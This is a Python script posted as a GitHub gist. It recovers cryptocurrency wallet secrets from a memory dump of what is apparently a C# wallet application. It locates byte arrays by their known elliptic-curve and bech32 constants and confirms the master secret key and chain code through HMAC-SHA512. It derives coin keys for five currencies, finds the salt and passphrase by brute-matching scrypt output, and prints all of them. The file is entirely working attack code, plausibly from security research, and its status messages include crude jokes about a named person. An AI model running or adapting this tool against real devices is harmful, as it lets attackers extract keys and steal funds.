Created
August 8, 2025 19:50
-
-
Save ryancdotorg/278dd8d696a3d01761f30410d7d42bb5 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import os | |
| import sys | |
| import gzip | |
| import itertools | |
| from struct import pack, pack_into, unpack, unpack_from, calcsize | |
| from binascii import hexlify, unhexlify | |
| from subprocess import Popen, PIPE | |
| import hmac | |
| import hashlib | |
| import scrypt | |
| from pybitcointools import * | |
| ## CONSTANTS FOUND IN MANY DUMPS | |
| BASE_POINT = unhexlify("0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f"+ | |
| "2815b16f81798483ada7726a3c4655da4fbfc0e1108a8fd17b448"+ | |
| "a68554199c47d08ffb10d4b8") | |
| ALERT_KEY = unhexlify("04fc9702847840aaf195de8442ebecedf5b095cdbb9bc716bda91"+ | |
| "10971b28a49e0ead8564ff0db22209e0374782c093bb899692d52"+ | |
| "4e9d6a6956e7c5ecbcd68284") | |
| HEX_DIGITS = "0123456789abcdef" | |
| BECH_CHARS = "qpzry9x8gf2tvdw0s3jn54khce6mua7l" | |
| SIG_MAGIC = "Bitcoin Signed Message:\n" | |
| ZEROS = bytes('\0'*32) | |
| COINS = ['btc', 'ltc', 'xmr', 'eth', 'neo'] | |
| STRINGSCAN = "(strings -n 8 -e s _|strings -n 8 -e l _)" | |
| class MemoryFragment: | |
| def __init__(self, buf, offset, size, kind=None, meta=None, desc=None): | |
| self._buf = buf | |
| self.off = offset | |
| self.size = size | |
| self.type = kind | |
| self.meta = meta | |
| self.desc = desc | |
| @property | |
| def data(self): | |
| return bytes(self._buf[self.off:self.off+self.size]) | |
| def __str__(self): | |
| if self.meta: | |
| s = '[%08x] %3d@%08x' % (self.meta, self.size, self.off) | |
| else: | |
| s = '[_string_] %3d@%08x' % (self.size, self.off) | |
| return s | |
| def str_frag(s, desc): | |
| buf = bytearray(s) | |
| def is_ascii(s): return all(ord(c) < 128 and ord(c) >= 32 for c in s) | |
| def ci(s): return int(''.join([str(ord(c)&31) for c in s])) | 0x80000000 | |
| def coin_keys(msk, mcc, coin): | |
| master_key = bip32_serialize((PRIVATE, 0, b'\0'*4, 0, mcc, msk+b'\1')) | |
| parts = bip32_deserialize(bip32_ckd(master_key, ci(coin))) | |
| return (parts[5][0:32], parts[4]) | |
| if __name__ == '__main__': | |
| if len(sys.argv) < 2: | |
| print 'need a filename' | |
| sys.exit(0) | |
| print 'Welcome to BitCry - Powered by John McAfee\'s drug-laced tears!' | |
| if sys.argv[1].endswith('.gz'): | |
| f = gzip.open(sys.argv[1], 'rb') | |
| else: | |
| f = open(sys.argv[1], 'rb') | |
| print 'Gassing the ramen...' | |
| # 1GiB ought to be enough for anyone | |
| mem = bytearray(1024*1024*1024) | |
| print 'Reading memory dump...' | |
| offset = 0 | |
| while True: | |
| buf = f.read(1024*1024*128) | |
| if len(buf) <= 0: | |
| break | |
| mem[offset:] = buf | |
| offset += len(buf) | |
| print '%4dMiB' % (offset/(1024*1024)) | |
| f.close() | |
| dump_size = offset | |
| fragments = [] | |
| print 'Scanning for potential C# byte array objects...' | |
| byte_array_meta = set() | |
| o = 0 | |
| while o < dump_size: | |
| if o > 0 and o & 0x7ffffff == 0: | |
| print '%4dMiB' % (o/(1024*1024)) | |
| try: | |
| if o & 7 == 0: | |
| (m, z0, z1, s) = unpack_from('<IIII', mem, o) | |
| if z0 == 0 and z1 == 0 and m >= 0x80000000 and s >= 8 and s <= 65535: | |
| frag = MemoryFragment(buf=mem, offset=o+16, size=s, meta=m) | |
| if s <= 65 and frag.data in (BASE_POINT, ALERT_KEY, BECH_CHARS, SIG_MAGIC): | |
| byte_array_meta.add(m) | |
| #print frag | |
| fragments.append(frag) | |
| o += 16 | |
| continue | |
| except: | |
| break | |
| o += 8 | |
| print 'Using discovered constants to prune possible C# byte arrays...' | |
| byte_arrays = [ x for x in fragments if x.meta in byte_array_meta ] | |
| set_32 = [ x for x in byte_arrays if x.size == 32 ] | |
| set_64 = [ x for x in byte_arrays if x.size == 64 ] | |
| print '32 byte arrays %d, %d unique' % (len(set_32), | |
| len(set([x.data for x in set_32]))) | |
| print '64 byte arrays %d, %d unique' % (len(set_64), | |
| len(set([x.data for x in set_64]))) | |
| print 'Looking for scrypt and/or sha512 output...' | |
| cand_scrypt_a = set() | |
| cand_scrypt_b = set() | |
| for a in set_32: | |
| a_data = a.data | |
| for b in set_64: | |
| if a_data == b.data[0:32]: | |
| cand_scrypt_a.add(b) | |
| elif a_data == b.data[32:64]: | |
| cand_scrypt_b.add(b) | |
| cand_scrypt = cand_scrypt_a | cand_scrypt_b | |
| cand_scrypt = set(set_64) | |
| if len(cand_scrypt) > 0: | |
| print 'Found potential scrypt output, trying to confirm via master key data...' | |
| for frag_scrypt in cand_scrypt: | |
| data_scrypt = frag_scrypt.data | |
| for frag_salt in set_32: | |
| param = hmac.new(frag_salt.data, data_scrypt, hashlib.sha512).digest() | |
| for x in set_64: | |
| if x.data == param: | |
| frag_scrypt.desc = 'scrypt(...)' | |
| frag_salt.desc = 'sha256(salt)' | |
| x.desc = 'master secret key + chain code' | |
| (scrypt_a, scrypt_b) = (data_scrypt[0:32], data_scrypt[32:64]) | |
| for y in set_32: | |
| if y.data == scrypt_a: | |
| y.desc = 'scrypt(...)[0:32]' | |
| elif y.data == scrypt_b: | |
| y.desc = 'scrypt(...)[32:64]' | |
| (msk, mcc) = (param[0:32], param[32:64]) | |
| for x in set_32: | |
| if x.data == msk: | |
| frag_scrypt.desc = 'scrypt(...)' | |
| frag_salt.desc = 'sha256(salt)' | |
| x.desc = 'master secret key' | |
| if x.data == mcc: | |
| frag_scrypt.desc = 'scrypt(...)' | |
| frag_salt.desc = 'sha256(salt)' | |
| x.desc = 'master chain code' | |
| print 'Found potential sha512 output, trying to confirm via coin key data...' | |
| for frag_sha512 in cand_scrypt: | |
| data_sha512 = frag_sha512.data | |
| for coin in COINS: | |
| (msk, mcc) = (data_sha512[0:32], data_sha512[32:64]) | |
| if msk == ZEROS: | |
| continue | |
| (csk, ccc) = coin_keys(data_sha512[0:32], data_sha512[32:64], coin) | |
| for frag_coin in set_32: | |
| if frag_coin.data == csk: | |
| frag_coin.desc = coin + ' secret key' | |
| frag_sha512.desc = 'master secret key + chain code' | |
| elif frag_coin.data == ccc: | |
| frag_coin.desc = coin + ' chain code' | |
| frag_sha512.desc = 'master secret key + chain code' | |
| found_salt = False | |
| found_pass = False | |
| print 'Looking for plaintext salt...' | |
| for frag in byte_arrays: | |
| if is_ascii(frag.data) and frag.size >= 8: | |
| sha256 = hashlib.sha256(frag.data).digest() | |
| for check in byte_arrays: | |
| if check.size == 32 and sha256 == check.data: | |
| check.desc = 'sha256(salt)' | |
| frag.desc = 'plaintext salt' | |
| found_salt = True | |
| strings_wide_list = None | |
| strings_byte_list = None | |
| if not found_salt: | |
| print 'Running deeper scan (wide strings)...' | |
| proc = Popen(['strings', '-n', '8', '-e', 'l', sys.argv[1]], stdout=PIPE) | |
| strings_out = proc.communicate() | |
| strings_wide_list = strings_out[0].split('\n') | |
| for s in list(set(strings_wide_list)): | |
| sha256 = hashlib.sha256(s).digest() | |
| for check in byte_arrays: | |
| if check.size == 32 and check.desc == 'sha256(salt)' and sha256 == check.data: | |
| frag = MemoryFragment(bytearray(s), 0, len(s), desc='plaintext salt') | |
| byte_arrays.append(frag) | |
| print 'Probable salt: %s' % s | |
| found_salt = True | |
| print 'Running deeper scan (byte strings)...' | |
| proc = Popen(['strings', '-n', '8', '-e', 's', sys.argv[1]], stdout=PIPE) | |
| strings_out = proc.communicate() | |
| strings_byte_list = strings_out[0].split('\n') | |
| for s in list(set(strings_byte_list)): | |
| sha256 = hashlib.sha256(s).digest() | |
| for check in byte_arrays: | |
| if check.size == 32 and check.desc == 'sha256(salt)' and sha256 == check.data: | |
| frag = MemoryFragment(bytearray(s), 0, len(s), desc='plaintext salt') | |
| byte_arrays.append(frag) | |
| print 'Probable salt: %s' % s | |
| found_salt = True | |
| print 'Looking for plaintext passphrase...' | |
| for frag in byte_arrays: | |
| if frag.data == BECH_CHARS: | |
| continue | |
| if is_ascii(frag.data) and frag.size >= 30 and frag.size < 300: | |
| for salt in list(set([ x.data for x in byte_arrays if x.desc == 'plaintext salt' ])): | |
| print 'Running scrypt("%s", "%s")' % (frag.data, salt) | |
| _scrypt = scrypt.hash(frag.data, salt, N=32768, p=4, r=8, buflen=64) | |
| for check in byte_arrays: | |
| if check.size == 64 and check.data == _scrypt: | |
| check.desc = 'scrypt(...)' | |
| frag.desc = 'plaintext passphrase' | |
| print 'Scrypt result validated.' | |
| found_pass = True | |
| if found_salt and not found_pass: | |
| if not strings_wide_list: | |
| print 'Running deeper scan (wide strings)...' | |
| proc = Popen(['strings', '-n', '8', '-e', 'l', sys.argv[1]], stdout=PIPE) | |
| strings_out = proc.communicate() | |
| strings_wide_list = strings_out[0].split('\n') | |
| if not strings_byte_list: | |
| print 'Running deeper scan (byte strings)...' | |
| proc = Popen(['strings', '-n', '8', '-e', 's', sys.argv[1]], stdout=PIPE) | |
| strings_out = proc.communicate() | |
| strings_byte_list = strings_out[0].split('\n') | |
| salts = list(set([ x.data for x in byte_arrays if x.desc == 'plaintext salt' ])) | |
| print 'Looking for plaintext passphrase (wide string)...' | |
| for i in xrange(1, len(strings_wide_list)-1): | |
| for salt in salts: | |
| if salt == strings_wide_list[i]: | |
| try: | |
| maybe_pass = strings_wide_list[i-1] | |
| if len(maybe_pass) >= 30: | |
| print 'Running scrypt("%s", "%s")' % (maybe_pass, salt) | |
| _scrypt = scrypt.hash(maybe_pass, salt, N=32768, p=4, r=8, buflen=64) | |
| for check in byte_arrays: | |
| if check.size == 64 and check.data == _scrypt: | |
| check.desc = 'scrypt(...)' | |
| frag = MemoryFragment(bytearray(maybe_pass), 0, len(maybe_pass), desc='plaintext passphrase') | |
| byte_arrays.append(frag) | |
| frag.desc = 'plaintext passphrase' | |
| print 'Scrypt result validated.' | |
| found_pass = True | |
| maybe_pass = strings_wide_list[i+1] | |
| if len(maybe_pass) >= 30: | |
| print 'Running scrypt("%s", "%s")' % (maybe_pass, salt) | |
| _scrypt = scrypt.hash(maybe_pass, salt, N=32768, p=4, r=8, buflen=64) | |
| for check in byte_arrays: | |
| if check.size == 64 and check.data == _scrypt: | |
| check.desc = 'scrypt(...)' | |
| frag = MemoryFragment(bytearray(maybe_pass), 0, len(maybe_pass), desc='plaintext passphrase') | |
| byte_arrays.append(frag) | |
| frag.desc = 'plaintext passphrase' | |
| print 'Scrypt result validated.' | |
| found_pass = True | |
| except: | |
| pass | |
| print 'Looking for plaintext passphrase (byte string)...' | |
| for i in xrange(1, len(strings_byte_list)-1): | |
| for salt in salts: | |
| if salt == strings_byte_list[i]: | |
| try: | |
| maybe_pass = strings_byte_list[i-1] | |
| if len(maybe_pass) >= 30: | |
| print 'Running scrypt("%s", "%s")' % (maybe_pass, salt) | |
| _scrypt = scrypt.hash(maybe_pass, salt, N=32768, p=4, r=8, buflen=64) | |
| for check in byte_arrays: | |
| if check.size == 64 and check.data == _scrypt: | |
| check.desc = 'scrypt(...)' | |
| frag = MemoryFragment(bytearray(maybe_pass), 0, len(maybe_pass), desc='plaintext passphrase') | |
| byte_arrays.append(frag) | |
| frag.desc = 'plaintext passphrase' | |
| print 'Scrypt result validated.' | |
| found_pass = True | |
| maybe_pass = strings_byte_list[i+1] | |
| if len(maybe_pass) >= 30: | |
| print 'Running scrypt("%s", "%s")' % (maybe_pass, salt) | |
| _scrypt = scrypt.hash(maybe_pass, salt, N=32768, p=4, r=8, buflen=64) | |
| for check in byte_arrays: | |
| if check.size == 64 and check.data == _scrypt: | |
| check.desc = 'scrypt(...)' | |
| frag = MemoryFragment(bytearray(maybe_pass), 0, len(maybe_pass), desc='plaintext passphrase') | |
| byte_arrays.append(frag) | |
| frag.desc = 'plaintext passphrase' | |
| print 'Scrypt result validated.' | |
| found_pass = True | |
| except: | |
| pass | |
| interesting = [ x for x in byte_arrays if x.desc] | |
| interesting.sort(key=lambda x: x.desc) | |
| last_desc = None | |
| for frag in interesting: | |
| if frag.desc != last_desc: | |
| print frag.desc | |
| last_desc = frag.desc | |
| if frag.desc.startswith('plaintext'): | |
| print str(frag) + ' ' + str(frag.data) | |
| else: | |
| print str(frag) + ' ' + hexlify(frag.data) | |
| #for frag in byte_arrays: | |
| # print frag |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment